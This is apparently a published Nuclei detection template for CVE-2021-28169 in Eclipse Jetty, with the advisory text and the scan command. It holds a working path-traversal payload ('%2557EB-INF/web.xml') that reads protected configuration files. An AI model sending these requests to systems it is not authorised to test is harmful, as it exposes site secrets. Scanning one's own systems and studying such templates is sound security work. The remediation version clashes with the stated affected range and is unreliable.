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Eclipse Jetty ConcatServlet - Information Disclosure

ID: CVE-2021-28169

Severity: medium

Author: pikpikcu

Tags: cve2021,cve,jetty,eclipse

Description

Section titled “Description”

Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure. Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2021-28169


info:
  name: Eclipse Jetty ConcatServlet - Information Disclosure
  author: pikpikcu
  severity: medium
  description: |
    Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure.  Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Upgrade to Eclipse Jetty version 9.4.40 or later to mitigate this vulnerability.
  reference:
    - https://twitter.com/sec715/status/1406787963569065988
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
    - https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28169
    - https://lists.apache.org/thread.html/r04a4b4553a23aff26f42635a6ae388c3b162aab30a88d12e59d05168@%3Cjira.kafka.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28169
    cwe-id: CWE-200,NVD-CWE-Other
    epss-score: 0.00618
    epss-percentile: 0.78767
    cpe: cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eclipse
    product: jetty
    shodan-query: cpe:"cpe:2.3:a:eclipse:jetty"
  tags: cve2021,cve,jetty,eclipse


http:
  - method: GET
    path:
      - "{{BaseURL}}/static?/%2557EB-INF/web.xml"
      - "{{BaseURL}}/concat?/%2557EB-INF/web.xml"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/xml"


      - type: word
        part: body
        words:
          - "</web-app>"
          - "java.sun.com"
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ec42e9f3c5a62cbfaca20d0fa86f674bafc06863f9f6d5bbf92b2cf140240f3e0221008216b9ef98ad1f8c567589a270f51a5a6c29cc8901caf038b12574aecc91cee7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-28169.yaml"

View on Github